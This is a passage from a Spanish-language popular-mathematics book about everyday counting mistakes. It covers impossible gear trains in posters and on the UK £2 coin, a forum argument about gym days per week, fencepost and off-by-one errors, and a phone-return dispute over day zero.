problema	es	que	los	dientes	de	la	rueda	«profesores»	también	están	unidos	a
las	demás	 ruedas,	 haciendo	que	 todo	 se	pare,	 como	ocurre	 con	 las	 jornadas
destinadas	a	que	se	reúnan	profesores	y	padres.
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Los	pósteres	motivacionales	funcionan	mejor	cuando	todos	sus	componentes	son	geométricamente
verosímiles.

Para	que	un	mecanismo	de	tres	ruedas	como	este	funcione,	dos	de	ellas	no
tienen	que	tocarse.	Cuando	el	Metro	de	Manchester	editó	un	póster	en	el	que
representaba	las	zonas	de	la	ciudad	funcionando	juntas,	la	gente	rediseñó	las
ruedas	en	3D	de	tal	forma	que	pudieran	girar	al	unísono.	En	este	ejemplo,	los
dientes	 de	 las	 ruedas	 2	 y	 3	 ya	 no	 se	 tocan	 entre	 sí,	 por	 lo	 que	 todo	 puede
moverse.
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Ojalá	fuera	así	de	fácil	arreglar	el	transporte	público	de	Manchester.

Pero	 a	 veces	 no	 tiene	 arreglo.	 El	 periódico	 USA	 Today	 publicó	 una
historia	 en	 mayo	 de	 2017	 sobre	 la	 decisión	 del	 presidente	 Trump	 de
renegociar	el	Tratado	de	Libre	Comercio	de	América	del	Norte	entre	Estados
Unidos,	Canadá	y	México.	En	este	caso,	 las	 ruedas	ya	estaban	dibujadas	en
3D	y	 eran	 inequívocamente	 imposibles.	El	 artículo	 analizaba	 lo	 beneficioso
que	podía	ser	para	todos	los	países	miembros	llegar	a	un	acuerdo	y	lo	difícil
que	resulta	que	los	tres	países	trabajen	conjuntamente.	Por	lo	que	todavía	no
tengo	claro	si	la	disposición	de	las	tres	ruedas	fue	o	no	fue	un	error.

Haciendo	que	las	ruedas	chirríen	otra	vez.
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Añadir	ruedas	solo	empeora	las	cosas.	Nunca	ponga	«engranaje	trabajo	en
equipo»	como	término	de	búsqueda	en	una	web	de	almacenaje	de	imágenes.
Para	 empezar	 si	 usted	 no	 está	 utilizando	 el	 mundo	 cursi	 de	 los	 pósteres
motivacionales,	 lo	 que	verá	 le	 impactará.	La	 siguiente	 sorpresa	 será	 que	un
montón	de	diagramas	que	se	supone	que	han	de	mostrar	que	un	equipo	trabaja
como	 una	máquina	 bien	 engrasada	 utiliza	 un	mecanismo	 que	 está	 atascado
indefinidamente.

Los	engranajes	y	los	mecanismos	que	han	de	funcionar	como	un	reloj	son
un	ejemplo	 típico	de	cosas	que	 funcionan	 juntas	al	unísono;	esa	es	 la	 razón
por	la	que	se	utilizan	en	tantos	pósteres	motivacionales	que	se	exponen	en	los
centros	de	 trabajo.	Pero	he	 aquí	 la	 cuestión:	 los	mecanismos	que	 funcionan
como	un	reloj	son	complicados.	Son	difíciles	de	fabricar:	una	parte	en	el	lugar
incorrecto	 y	 todo	 deja	 de	 funcionar.	 Cuanto	 más	 pienso	 sobre	 ello,	 más
convencido	estoy	de	que	sí	que	representa	una	gran	analogía	de	un	equipo	de
trabajo.

Estaba	dispuesto	a	pagar	por	una	imagen	de	stock	para	utilizarla	en	este	libro.	Esta	es	mi	favorita.	La
descripción	que	la	acompaña	es:	«Modelo	de	figuras	3D	sobre	ruedas	dentadas	conectadas	como

metáfora	de	lo	que	es	un	equipo».
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Pero,	para	ser	honestos,	un	¡choca	esos	cinco!	a	cuatro	manos	como	símbolo	de	trabajo	en	equipo
plantea	incluso	más	problemas	geométricos.

En	1998,	en	el	periodo	previo	al	cambio	de	milenio,	en	el	Reino	Unido	se
puso	 en	 circulación	 una	 nueva	 moneda	 de	 2	 libras.	 Se	 organizó	 una
competición	para	diseñar	el	reverso	de	la	nueva	moneda	(la	cara	de	la	reina,
por	defecto,	 tenía	que	ir	en	el	diseño	del	anverso),	y	ganó	Bruce	Rushin,	un
profesor	de	arte	de	Norfolk.	Bruce	diseñó	una	serie	de	aros	concéntricos,	cada
uno	de	ellos	 representando	una	edad	 tecnológica	diferente	de	 la	humanidad.
La	de	la	revolución	industrial	estaba	representada	por	un	anillo	de	diecinueve
ruedas	dentadas.	Ya	se	puede	 imaginar	hacia	dónde	va	esto,	o,	mejor	dicho,
como	esto	no	va	a	ninguna	parte.

Una	cadena	de	ruedas	dentadas	girará	en	el	mismo	sentido	que	las	agujas
del	reloj,	en	el	sentido	contrario,	 luego	en	el	mismo…,	y	así	sucesivamente.
Por	lo	que,	si	el	conjunto	es	cerrado,	tiene	que	haber	un	número	par	de	ruedas
para	 que	 cada	 una	 de	 ellas	 se	 una	 a	 otra	 que	 gira	 en	 sentido	 contrario.
Cualquier	 número	 impar	 de	 ruedas	 en	 un	 bucle	 hará	 que	 este	 se	 pare.	 Las
diecinueve	ruedas	de	la	moneda	de	2	libras	estarían	totalmente	bloqueadas	y
no	podrían	moverse.

Por	 supuesto,	 internet	 se	percató	bastante	 rápidamente	del	problema	que
sufría	la	nueva	moneda.	Las	personas	que	se	quejaron	en	línea	cubrían	todo	el
habitual	espectro,	desde	los	curiosos	hasta	los	insufribles	engreídos.	Alguien
incluso	consiguió	obtener	una	respuesta	oficial	de	la	Real	Casa	de	la	Moneda
sobre	la	inverosimilitud	del	diseño:
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La	idea	del	diseño	es	representar	el	desarrollo	de	la	tecnología	a	lo	largo	de	la	historia,	pero	no
pretende	 que	 funcione	 en	 el	 sentido	 literal.	 El	 artista	 quería	 transmitir	 esta	 idea	 de	 forma
simbólica	por	lo	que	no	creyó	que	el	número	de	ruedas	en	uno	de	los	anillos	del	diseño	fuese	un
asunto	importante.

Real	Casa	de	la	Moneda

Todo	 esto	 parece	 ser	 un	 caso	 claramente	 cerrado.	 Puedo	 aceptar	 que,
cuando	 se	 trata	 de	 una	 decisión	 artística,	 comprobar	 que	 algo	 funciona
físicamente	no	es	una	prioridad	del	artista.	No	me	quejo	de	que	el	trabajo	de
Picasso	 sea	 biológicamente	 inverosímil	 o	mandar	 a	 Salvador	Dalí	 cartas	 de
protesta	sobre	el	punto	de	fusión	de	los	relojes.

Pero,	aun	así,	 la	forma	en	que	se	producen	esta	clase	de	errores	triviales
sigue	 despertando	 mi	 curiosidad.	 Pensé	 que	 podía	 buscar	 rápidamente	 al
artista	y	ver	si	podía	pedirle	educadamente	si	por	su	cabeza	había	pasado	en
algún	momento	la	cuestión	de	la	funcionabilidad	física	de	su	diseño.

Lo	que	encontré	me	sorprendió.	En	el	sitio	web	de	Bruce	Rushin	está	el
diseño	 original	 que	 ganó	 el	 concurso	 a	 finales	 de	 la	 década	 de	 1990:	 tiene
veintidós	 ruedas.	 ¡Habría	 funcionado!	 En	 algún	 momento	 del	 proceso	 de
diseño,	se	cayeron	tres	de	ellas.

El	centro	del	diseño	original	de	Bruce	con	las	tres	ruedas	que	faltan	en	la	moneda	definitiva.

Hablé	 con	Bruce,	 y	 sí	 que	 le	 había	 preocupado	 el	 número	 de	 ruedas,	 a
pesar	 de	 haber	 pensado	 que	 no	 era	 algo	 importante.	 Su	 diseño	 original	 era
mecánicamente	 correcto,	 no	 porque	 pensase	 que	 era	mejor,	 sino,	más	 bien,
para	 evitar	 correos	 electrónicos	 de	 personas	 a	 las	 que	 eso	 pudiera	 enfadar.
Cuando	 la	 Real	 Casa	 de	 la	 Moneda	 convirtió	 el	 diseño	 de	 Bruce	 en	 una
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moneda	 real	 de	 tan	 solo	 28,4	 milímetros	 de	 ancho,	 tuvieron	 que	 eliminar
algunos	detalles	finos,	y	tres	ruedas	fueron	víctimas	de	esta	simplificación.

Sí	 que	 pensé	 en	 ello,	 en	 que,	 si	 una	 rueda	 giraba	 en	 el	 sentido	 de	 las	 agujas	 del	 reloj,	 las
adyacentes	girarían	 en	 el	 sentido	 contrario.	Sin	 embargo,	después	de	 todo,	 al	 ser	 tan	 solo	un
diseño,	no	un	proyecto	que	 tiene	que	 funcionar,	no	es	 tan	 importante.	Supuse	que	alguien	 se
percataría	de	ello,	por	lo	que	mantuve	el	número	par.

También	me	parece	que	 resume	muy	bien	 la	diferencia	que	existe	entre	artistas	e	 ingenieros.
¡Tengo	licencia	artística!

Me	 cuesta	 decidir	 si	me	 alegró	 o	me	 avergonzó	 el	 hecho	 de	 que	Bruce
tuviera	que	valorar	 las	 implicaciones	de	su	visión	artística	porque	sabía	que
de	otra	forma	recibiría	protestas.	Soy	un	gran	partidario	de	la	idea	de	que	las
restricciones	ayudan	a	estimular	la	creatividad,	por	lo	que,	teniéndolo	todo	en
cuenta,	 me	 parece	 correcto.	 Siempre	 hay	 espacio	 para	 que	 florezca	 la
creatividad.	Incluso	si	se	trata	de	pedantes	que	se	quejan	creativamente	sobre
problemas	triviales.
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Cinco

NO	PUEDES	CONTARLO
Se	 podría	 decir	 que	 contar	 es	 la	 parte	 más	 fácil	 de	 las	 matemáticas.	 Así
empezaron:	con	la	necesidad	de	contar	cosas.	 Incluso	aquellos	que	aseguran
que	son	malos	en	matemáticas	aceptan	que	saben	contar	(aunque	sea	con	sus
dedos).	Ya	hemos	visto	cómo	pueden	complicarse	los	calendarios,	pero	todos
estamos	de	acuerdo	en	que	podemos	contar	cuántos	días	hay	en	una	semana.
Es	así,	¿no?

Una	de	las	mayores	discusiones	de	todos	los	tiempos	en	internet	empezó
con	una	simple	pregunta	sobre	ir	al	gimnasio	y	acabó	con	una	pelea	a	gritos
virtual	sobre	cuántos	días	tiene	una	semana.

En	 el	 foro	de	discusión	de	Bodybuilding.com	alguien	 con	 el	 nombre	de
usuario	 m1ndless	 preguntó	 cuántos	 días	 por	 semana	 era	 seguro	 realizar	 un
entrenamiento	 integral.	 Parece	 ser	 que	 solía	 realizar	 entrenamientos	 para	 la
parte	superior	y	para	la	parte	inferior	en	días	alternos,	pero,	ahora,	debido	a	la
falta	de	tiempo,	quería	saber	si	existía	algún	riesgo	en	hacerlo	todo	el	mismo
día,	y	así	poder	ir	menos	veces	al	gimnasio.	Sé	cómo	se	siente:	yo	divido	mis
días	entre	geometría	y	álgebra.

El	 consejo	 general	 que	 dieron	 los	 usuarios	 (todos	 profesionales	 y	 de
Vermont)	 parece	 que	 fue	 que	 la	 mayoría	 de	 las	 rutinas	 de	 culturismo	 para
principiantes	 incluyen	 tres	 tandas	 integrales	 por	 semana,	 por	 lo	 que	 debería
estar	bien	para	un	nivel	más	avanzado	e	intenso.	M1ndless	pareció	satisfecho
con	este	 consejo	y	 solo	 añadió	que	 entrenaba	cada	dos	días,	 por	 lo	que	eso
significaba	 que	 «estaría	 en	 el	 gimnasio	 entre	 cuatro	 y	 cinco	 veces	 por
semana».	 El	 usuario	 steviekm3	 señaló	 que	 «solo	 hay	 siete	 días	 en	 una
semana.	Si	vas	cada	dos	días,	son	3,5	días	por	semana»,	y	todo	pareció	quedar
claro.

M1ndless	no	dijo	nada	más.
Porque	 el	 que	 entró	 en	 escena	 fue	TheJosh.	No	estaba	 satisfecho	con	 la

frase	 de	 steviekm3	 de	 que	 ir	 cada	 dos	 días	 significaba	 ir	 3,5	 veces	 por
semana.	 Según	 su	 experiencia,	 entrenar	 cada	 dos	 días	 implicaba	 estar	 en	 el
gimnasio	cuatro	veces	por	semana:

Lunes,	miércoles,	viernes,	domingo.	Eso	son	4	días.

¿Cómo	vas	a	ir	3,5	veces?	¿Haces	medio	entrenamiento	o	algo	así?	lol
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TheJosh

Antes	 de	 que	 steviekm3	 se	 pudiera	 defender	 por	 sí	 mismo,	 Justin-27
acudió	con	aire	triunfal	al	rescate,	señalando	que	la	respuesta	correcta	es,	de
hecho,	3,5	veces	por	semana	como	promedio:	«7×	en	2	semanas	=	3,5	veces
por	 semana,	genio».	Y	añadió	que	 tres	 entrenamientos	por	 semana	deberían
ser	suficientes	(el	último	consejo	relacionado	con	el	culturismo	que	íbamos	a
ver	en	este	hilo).

A	 TheJosh	 no	 le	 gustó	 que	 el	 recién	 llegado	 Justin-27	 no	 estuviera	 de
acuerdo	 con	 él,	 y	 decidió	 aclarar	 con	 exactitud	 por	 qué	 «cada	 dos	 días»	 es
cuatro	 veces	 por	 semana.	 Steviekm3	 reapareció	 brevemente	 para	 apoyar	 a
Justin-27	 y	 defender	 su	 posición	 inicial,	 pero	 volvió	 a	 desaparecer	 en	 un
santiamén.	A	continuación,	TheJosh	y	Justin-27	empezaron	a	discutir	cuántos
días	hay	en	una	semana.	Enseguida	se	unieron	nuevas	personas	a	la	discusión
(para	 mi	 asombro,	 apoyando	 a	 ambos	 bandos)	 y	 esta	 duró	 más	 de	 cinco
páginas	de	mensajes.	Cinco	de	las	páginas	más	divertidas	de	internet.

Pero	¿cómo	puede	algo	tan	obvio	como	el	número	de	días	que	tiene	una
semana	generar	tanta	pasión	a	lo	largo	de	cinco	páginas,	129	posts	y	dos	días
de	 discusión	 constante?	 Bueno,	 sí	 pudo,	 y	 es	 espectacular.	 El	 lenguaje
también	 es	muy	 creativo	 y	 contiene	muchas	 groserías	 conocidas	 (y	 algunas
nuevas,	 creadas	 a	 partir	 de	 una	mezcla	 inteligente	 de	 tacos	 clásicos),	 razón
por	la	cual	no	puedo	citar	muchas	de	ellas.	Su	lectura	en	línea	no	es	apta	para
cardiacos.
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Al	igual	que	ocurre	con	las	mejores	discusiones	que	se	han	producido	en
línea,	 en	 el	 fondo	 sospecho	 que	 TheJosh	 es	 un	 trol,	 tomándole	 el	 pelo	 a
Justin-27	para	divertirse	viendo	 lo	 furioso	que	este	se	pone.	Durante	mucho
tiempo,	 TheJosh	 se	mantuvo	 fiel	 a	 su	 personaje,	 hasta	 que	 soltó	 un	 jocoso
«me	 tomas	 demasiado	 en	 serio».	 Luego	 regresó	 a	 su	 argumento	 inicial	 y
siguió	 con	 él.	 Por	 lo	 que	 no	 podemos	 descartar	 la	 posibilidad	 de	 que	 sea
genuino.	Me	gustaría	creer	que	sí.

Trol	o	genuino,	en	cualquier	caso,	TheJosh	ha	adoptado	una	postura	ideal,
la	 cual,	 aunque	 es	 errónea,	 se	 apoya	 en	 suficientes	 ideas	 equivocadas
verosímiles,	 lo	 que	 le	 permite	 discutir	 sobre	 ella	 extensamente.	Y	 eso	 es	 lo
que	hace,	utilizando	dos	clásicos	errores	matemáticos:	contar	desde	cero	y	los
errores	por	uno,	también	llamados	errores	por	un	paso.
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Contar	 desde	 cero	 es	 algo	 habitual	 en	 los	 programadores.	 Los	 sistemas
informáticos	 se	 suelen	 utilizar	 hasta	 su	 límite	 absoluto,	 por	 lo	 que	 los
programadores	 no	 quieren	 desperdiciar	 ni	 un	 solo	 bit.	 Esto	 significa	 contar
desde	 cero	 en	 lugar	 de	 desde	 uno.	 El	 cero	 es,	 después	 de	 todo,	 un	 número
perfectamente	válido.

Es	 como	 contar	 con	 los	 dedos,	 que	 es,	 de	 hecho,	 la	 forma	más	 fácil	 de
hacer	 matemáticas.	 ¡Pero	 la	 gente	 lo	 sigue	 encontrando	 confuso!	 Cuando
pedimos	hasta	qué	número	puede	alguien	contar	con	sus	dedos,	la	mayoría	de
personas	dicen	diez.	Pero	se	equivocan.	Puedes	contar	once	números	distintos
con	 tus	 dedos:	 de	 cero	 a	 diez.	 Y	 esto	 es	 sin	 hacer	 trampas,	 por	 ejemplo,
utilizando	diferentes	sistemas	numéricos	que	hacen	que	pongas	los	dedos	en
posiciones	ridículas.	Si	pasas	de	no	mostrar	ningún	dedo	a	mostrar	 los	diez,
estos	pueden	adoptar	once	posiciones	distintas.

El	 único	 inconveniente	 es	 que	 eliminas	 el	 vínculo	 entre	 el	 número	 que
estás	utilizando	para	mantener	el	registro	de	tu	contaje	con	el	número	de	cosas
que	estás	contado.	El	primer	objeto	corresponde	a	cero	dedos,	el	segundo	a	un
dedo,	y	así	hasta	el	objeto	once	que	se	representa	con	diez	dedos.

Si	 entrenas	 el	 día	 8	 del	mes,	 no	 has	 de	 empezar	 a	 contar	 los	 días	 hasta	 que	 llegue	 el	 día	 9,
porque	eso	sería	un	día	completo,	entonces	el	día	10	ya	serían	dos	días,	y	así	hasta	llegar	al	día
22,	que	serían	14	días.

TheJosh	(post	#14)

Eso	es	contar	desde	cero	de	incógnito.	Para	TheJosh,	el	octavo	día	del	mes
es	 el	 día	 cero,	 por	 lo	 que	 el	 noveno	 día	 del	mes	 es	 el	 primer	 día	 que	 está
contando.	 Pero	 eso	 no	 quiere	 decir	 que	 el	 total	 sea	 de	 catorce	 días.	 Contar
desde	 cero	 rompe	 el	 vínculo	 entre	 aquello	 que	 estás	 contando	 y	 cuál	 es	 el
total.	Contar	desde	cero	a	catorce	hace	un	total	de	quince.

Este	tipo	de	error	es	tan	común	que	la	comunidad	de	programadores	tiene
un	nombre	para	él:	OBOE,	las	siglas	en	inglés	para	errores	por	uno,	o	por	un
paso.	Se	le	dio	ese	nombre	por	el	síntoma	y	no	por	la	causa,	pues	la	mayoría
de	 los	errores	por	uno	proceden	de	complicaciones	de	 forzar	al	código	para
que	se	ejecute	un	número	determinado	de	veces	o	contar	un	cierto	número	de
cosas.	 Estoy	 obsesionado	 con	 una	 clase	 concreta	 de	 errores	 por	 uno:	 el
problema	de	los	postes	de	una	valla.	Y	esa	es	la	segunda	arma	del	arsenal	de
Josh.

Este	 error	 recibe	 el	 nombre	 de	 problema	 del	 poste	 porque	 se	 describe
clásicamente	utilizando	la	metáfora	de	una	valla:	si	un	tramo	de	50	metros	de
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valla	 tiene	 un	 poste	 cada	 10	 metros,	 ¿cuántos	 postes	 hay?	 La	 respuesta
inexperta	es	cinco,	pero	tendría	que	haber	seis.

Cinco	secciones	de	valla	necesitan	seis	postes.

La	 suposición	 innata	 es	 que,	 a	 cada	 sección	 de	 valla	 le	 corresponde	 un
poste,	 lo	cual	es	cierto	para	 la	mayor	parte	de	 la	valla,	pero	 ignora	el	poste
extra	que	hay	que	poner	para	que	haya	uno	en	cada	extremo.	Es	un	ejemplo
claro	 de	 que	 nuestros	 cerebros	 llegan	 a	 una	 conclusión	 que	 puede	 ser
fácilmente	desmentida	por	las	matemáticas.	Siempre	estoy	buscando	ejemplos
interesantes.	Una	vez	que	estaba	subiendo	por	las	escaleras	mecánicas	de	una
estación	 de	metro	 en	 Londres	 vi	 una	 señal	 que	 atrajo	mi	 atención.	 ¡Era	 un
problema	del	poste	en	el	mundo	real!

Siempre	hay	alguna	parte	del	metro	que	se	está	reparando	y	Transporte	de
Londres	 intenta	 poner	 señales	 explicando	 por	 qué	 tu	 trayecto	 es	 más
desagradable	de	 lo	habitual.	Esa	mañana	en	particular,	eché	una	mirada	a	 la
señal	que	estaba	en	la	escalera	mecánica	cerrada	y	tuve	que	subir	los	cientos
de	 escalones	 adyacentes.	 La	 señal	 decía	 que	 la	 mayoría	 de	 escaleras
mecánicas	 del	metro	 se	 renovaban	 dos	 veces,	 lo	 que	 les	 daba	 «el	 doble	 de
vida».	Esto	cae	de	lleno	en	el	territorio	del	problema	del	poste:	algo	se	alterna
(la	escalera	se	usa,	la	escalera	se	renueva,	repetir)	y	debe	empezar	y	terminar
en	el	mismo	punto	(la	escalera	se	usa).	Si	una	escalera	se	renueva	dos	veces,
se	usará	tres	veces	más	que	si	no	hubiese	sido	renovada	nunca.	La	gente	que
pasaba	por	la	estación	no	cayó	en	la	cuenta.

Dos	reformas	permiten	tres	periodos	de	uso.

Los	errores	por	uno	también	explican	una	pelea	que	siempre	he	tenido	con
la	 teoría	musical.	Desplazarse	 a	 lo	 largo	 de	 las	 teclas	 del	 piano	 se	mide	 en
términos	del	número	de	notas	que	abarca:	golpear	Do	en	un	piano,	saltarse	Re
y	 luego	golpear	Mi	es	un	 intervalo	 llamado	 tercera,	porque	Mi	es	 la	 tercera
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nota	 de	 la	 escala.	 Pero	 lo	 que	 realmente	 importa	 no	 es	 cuántas	 notas	 se
utilizan,	sino	la	diferencia	entre	ellas.	Es	el	problema	inverso	al	del	poste:	los
intervalos	musicales	cuentan	los	postes,	¡cuando	deberían	contar	la	valla![7]

Por	lo	tanto,	cuando	se	toca	el	piano,	subir	un	«tercio»	significa	subir	dos
notas,	y	subir	un	«quinto»	es	subir	solo	cuatro	notas.	Si	lo	juntamos	todo,	toda
la	transición	es	un	«séptimo»,	lo	que	nos	da	3	+	5	=	7.	Contar	los	separadores
y	 no	 los	 intervalos	 significa	 que	 la	 nota	 existente	 entre	 las	 transiciones	 se
cuenta	dos	veces.	Esa	es	 también	 la	 razón	por	 la	que	una	«octava»	de	 siete
notas	(y	siete	intervalos)	tiene	el	«oct»	(ocho)	en	el	nombre	que	la	define.	El
lado	 positivo	 es	 que	 puedo	 echar	 la	 culpa	 de	mi	 terrible	 falta	 de	 habilidad
musical	al	comportamiento	anormal	de	los	números.

Cuando	 se	 trata	 de	 medir	 el	 tiempo,	 utilizamos	 una	 curiosa	 mezcla	 de
contar	 los	 postes	 y	 contar	 las	 secciones	 de	 una	 valla.	 O	 podemos	 verlo	 en
términos	de	redondeo.	La	edad	se	redondea	sistemáticamente	hacia	abajo:	en
muchos	países,	un	humano	 tiene	edad	cero	durante	su	primer	año	de	vida	y
pasa	a	tener	un	año	de	edad	después	de	haber	finalizado	todo	ese	periodo	de
su	 vida.	 Siempre	 somos	 más	 viejos	 que	 lo	 que	 dice	 nuestra	 edad.	 Lo	 que
significa	que	al	cumplir	treinta	y	nueve	años	no	estás	en	tu	trigésimo	noveno
año	 de	 vida,	 sino	 en	 el	 cuadragésimo.	 Si	 contamos	 el	 día	 en	 que	 nacemos
como	nuestro	cumpleaños	(contra	lo	que	es	muy	difícil	argumentar),	entonces
cuando	 cumples	 treinta	 y	 nueve	 es	 realmente	 tu	 cuarenta	 cumpleaños.	 Por
muy	cierto	que	sea,	según	mi	experiencia,	a	la	gente	no	le	gusta	verlo	escrito
en	su	tarjeta	de	cumpleaños.

Los	días	y	las	horas	también	se	cuentan	de	forma	diferente.	Me	encanta	el
ejemplo	de	 alguien	que	 empieza	 a	 trabajar	 a	 las	 ocho	de	 la	mañana	y	 a	 las
doce	ya	tiene	que	haber	limpiado	los	pisos	ocho	al	doce	del	edificio.	Si	limpia
un	piso	por	hora	dejaría	un	piso	entero	sin	limpiar.	Y	no	en	todos	los	países	se
nombran	 los	pisos	de	 la	misma	manera.	En	algunos	cuentan	 los	pisos	desde
cero	(en	ocasiones	representado	por	una	G,	por	razones	arcaicas	perdidas	en
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la	 historia)	 y	 en	 otros	 por	 el	 1.	Y	 los	 días	 se	 cuentan	 de	 forma	 diferente	 a
como	se	cuentan	las	horas:	si	los	pisos	ocho	al	doce	se	han	de	limpiar	a	fondo
entre	 el	 8	 de	 diciembre	 y	 el	 12	de	 diciembre,	 habría	 suficiente	 tiempo	para
hacer	un	piso	por	día.

Este	problema	 lleva	vigente	mucho	 tiempo.	Es	 la	 razón	por	 la	que,	hace
dos	mil	años,	Julio	César	instauró	los	años	bisiestos	cada	tres	años	en	lugar	de
cada	cuatro.	Los	pontífices	de	la	época	utilizaban	el	inicio	del	cuarto	año.	Es
como	 si	 necesitaras	 dejar	 algo	 de	 cerveza	 para	 que	 fermentara	 para	 los
primeros	cuatro	días	del	mes	y	lo	detuvieras	la	mañana	del	cuarto	día.	¡Solo
habrían	pasado	tres	días!	Los	pontífices	hicieron	lo	mismo,	pero,	en	lugar	de
con	cervezas,	con	los	años.	Si	empezamos	a	contar	desde	el	principio	del	año
uno	en	lugar	desde	el	año	cero,	entonces	el	inicio	del	año	cuatro	solo	es	tres
años	 más	 tarde.	 Curiosamente,	 si	 te	 bebes	 mi	 cerveza	 casera,	 también	 te
sentirás	como	si	te	faltara	un	año	de	tu	vida	(yo	la	llamo	«cerveza	bisiesta»).

Sin	 duda	 alguna,	 estos	 no	 son	 los	 únicos	 errores	matemáticos	 de	 la	 era
clásica.	 Las	 personas	 de	 hace	 dos	 mil	 años	 eran	 tan	 buenas	 a	 la	 hora	 de
cometer	errores	matemáticos	como	lo	somos	nosotros,	lo	que	ocurre	es	que	la
mayoría	de	las	pruebas	han	sido	destruidas.	Y	creo	que	eso	es	lo	que	también
les	gustaría	que	sucediera	a	 los	que	 los	cometen	hoy	en	día.	Pero,	hurgando
entre	antiguos	informes,	salen	a	la	luz	algunos	errores,	entre	ellos	el	que	creo
es	el	ejemplo	más	antiguo	de	error	del	poste.

Marco	Vitruvio	Polión	fue	contemporáneo	de	Julio	César	y	le	conocemos,
en	gran	parte,	por	sus	muchos	escritos	sobre	arquitectura	y	ciencia.	El	trabajo
de	Vitruvio	fue	muy	influyente	en	el	Renacimiento,	y	El	hombre	de	Vitruvio
de	Leonardo	da	Vinci	se	 llama	así	por	él.	En	su	 tercer	 libro	de	una	serie	de
diez,	 titulada	 De	 architectura,	 habla	 sobre	 cómo	 construir	 un	 templo
(incluyendo	siempre	un	número	 impar	de	escalones,	por	 lo	que	siempre	que
alguien	coloque	su	pie	dominante	sobre	el	primer	escalón	utilizará	el	mismo
pie	cuando	llegue	arriba).	También	habla	sobre	un	error	común	que	se	comete
cuando	se	colocan	las	columnas.	Para	un	templo	que	sea	el	doble	de	largo	que
ancho,	«aquellos	que	colocan	el	doble	de	columnas	para	la	longitud	del	tempo
parece	 que	 han	 cometido	 un	 error	 porque	 el	 templo	 tendrá	 entonces	 un
intercolumnio	más	que	no	debería	tener».

En	 el	 latín	 original,	 además	 de	 que	 las	 columnas	 aparecen	 como
columnae,	Vitruvio	habla	de	las	intercolumnia,	o	espacios	entre	columnas.	Al
doblar	la	longitud	del	templo	no	se	necesita	el	doble	de	columnas,	aunque,	en
su	 lugar,	 sí	 que	 necesitan	 el	 doble	 de	 espacios	 entre	 columnas.	 Vitruvio
advierte	a	aquellos	que	construyen	templos	que	no	cometan	el	error	del	poste
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y	 acaben	 con	 una	 columna	 de	más.	 Si	 alguien	 puede	 encontrar	 un	 ejemplo
antiguo	de	un	error	del	poste	o	de	un	error	por	uno	me	encantaría	conocerlo.

El	problema	 sigue	causando	molestias	 a	mucha	gente.	A	 las	 cinco	de	 la
tarde	del	6	de	septiembre	de	2017,	el	matemático	James	Propp	estaba	en	una
tienda	 de	 teléfonos	 móviles	 Verizon,	 en	 Estados	 Unidos,	 comprándose	 un
nuevo	teléfono.	Era	para	su	hijo	y,	afortunadamente,	venía	con	una	póliza	de
reembolso	«sin	preguntas»	si	 se	devolvía	dentro	de	 los	catorce	días	después
de	 la	 compra.	Resulta	 que	 el	 teléfono	 no	 era	 lo	 que	 buscaba	 su	 hijo,	 y	 dos
semanas	después,	el	20	de	septiembre,	Propp	fue	a	devolverlo.	Pero,	a	pesar
de	estar	dentro	del	plazo	de	catorce	días	desde	que	se	compró	el	teléfono,	la
tienda	 no	 podía	 completar	 la	 devolución	 ya	 que,	 técnicamente	 hacía	 quince
días	que	se	había	establecido	el	contrato.

Parece	que	Verizon	empezó	a	contar	en	el	día	uno	y	no	en	el	día	cero	y
utilizaban	el	número	de	día	como	forma	de	medir	el	paso	del	tiempo.	Desde	el
mismo	momento	en	el	que	James	recibió	su	teléfono	Verizon	ya	contaba	que
era	 suyo	 durante	 todo	 el	 día.	 Al	 inicio	 del	 día	 dos,	 según	 el	 sistema	 de
Verizon	 ya	 tenía	 el	 teléfono	 durante	 dos	 días,	 a	 pesar	 de	 que	 lo	 hubiera
recibido	 tan	 solo	 siete	 horas	 antes,	 y	 así	 sucesivamente,	 lo	 que	 hizo	 que	 al
final	James	hubiera	tenido	el	teléfono	durante	menos	de	catorce	días,	aunque
según	Verizon	lo	tuvo	quince	días.

En	la	tienda,	el	gerente	no	podía	hacer	nada	porque	el	sistema	de	Verizon
consideraba	 que	 James	 lo	 devolvía	 el	 día	 quince	 de	 su	 contrato	 y	 había
bloqueado	cualquier	opción	de	devolver	el	producto.	Pero,	cuando	James	fue
a	casa	y	repasó	la	letra	pequeña	del	contrato,	observó	que	no	se	hacía	mención
alguna	de	que	el	primer	día	del	contrato	contaría	como	día	uno.	Algunos	de
sus	 familiares,	 que	 eran	 abogados,	 le	 contaron	 que	 este	 problema	 ya	 había
sucedido	antes	y	que,	 legalmente,	es	 importante	eliminar	 la	ambigüedad	del
día	cero.	En	su	estado	natal,	Massachusetts,	el	 sistema	 legal	 tiene	que	 lidiar
con	este	problema	cuando	tiene	que	dictar	una	sentencia,	y	así	lo	ha	definido:

Al	computar	cualquier	periodo	requerido	o	permitido	por	estas	normas,	por	orden	judicial	o	por
cualquier	ley	o	norma	aplicable,	no	se	debe	incluir	el	día	del	acto,	suceso	o	por	defecto	a	partir
del	cual	empieza	el	periodo	de	tiempo	señalado.

Reglas	de	Procedimiento	Civil	de	Massachusetts,	Regla
de	Procedimiento	Civil	6:	Tiempo,	Sección	(a)	Cómputo.

James	 se	 dio	 cuenta	 de	 que	 era	 probable	 que	 no	 hubiera	 suficientes
personas	que	hubieran	sido	víctimas	del	abuso	de	Verizon	con	el	número	cero
para	 presentar	 una	 demanda	 colectiva.	 En	 su	 caso,	 podía	 utilizar	 las
matemáticas	 (y	 amenazar	 con	 cancelar	 sus	 otros	 contratos)	 hasta	 que	 se
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agotaran	lo	suficiente	como	para	darle	la	razón.	Pero	no	todo	el	mundo	tenía
la	 seguridad	 matemática	 o	 el	 tiempo	 libre	 para	 defender	 el	 caso.	 James
propone	una	regla	del	día	cero,	lo	que	significa	que	todos	los	contratos	están
obligados	 a	 reconocer	 el	 día	 cero,	 una	 iniciativa	 que	 cuenta	 con	 todo	 mi
apoyo.

Pero	 no	 creo	 que	 veamos	 producirse	 ese	 cambio.	 Los	 errores	 por	 uno
llevan	siendo	un	problema	desde	hace	miles	de	años	y	sospecho	que	seguirán
siéndolo	 durante	 algunos	 miles	 más.	 En	 gran	 parte	 como	 ocurrió	 con
bodybuilding.com	 (que	 creo	que	 finalmente	 se	 cerró),	 voy	 a	 darle	 la	 última
palabra	a	TheJosh:

Mi	argumento	ha	 sido	demostrado	por	gente	 inteligente.	Si	coges	una	única	 semana	y	no
dos	semanas,	solo	una,	y	entrenas	cada	dos	días,	puedes	entrenar	4	días	por	semana.	Fin,	deja
de	quejarte.

TheJosh	(post	#129)

Guerra	de	combinaciones

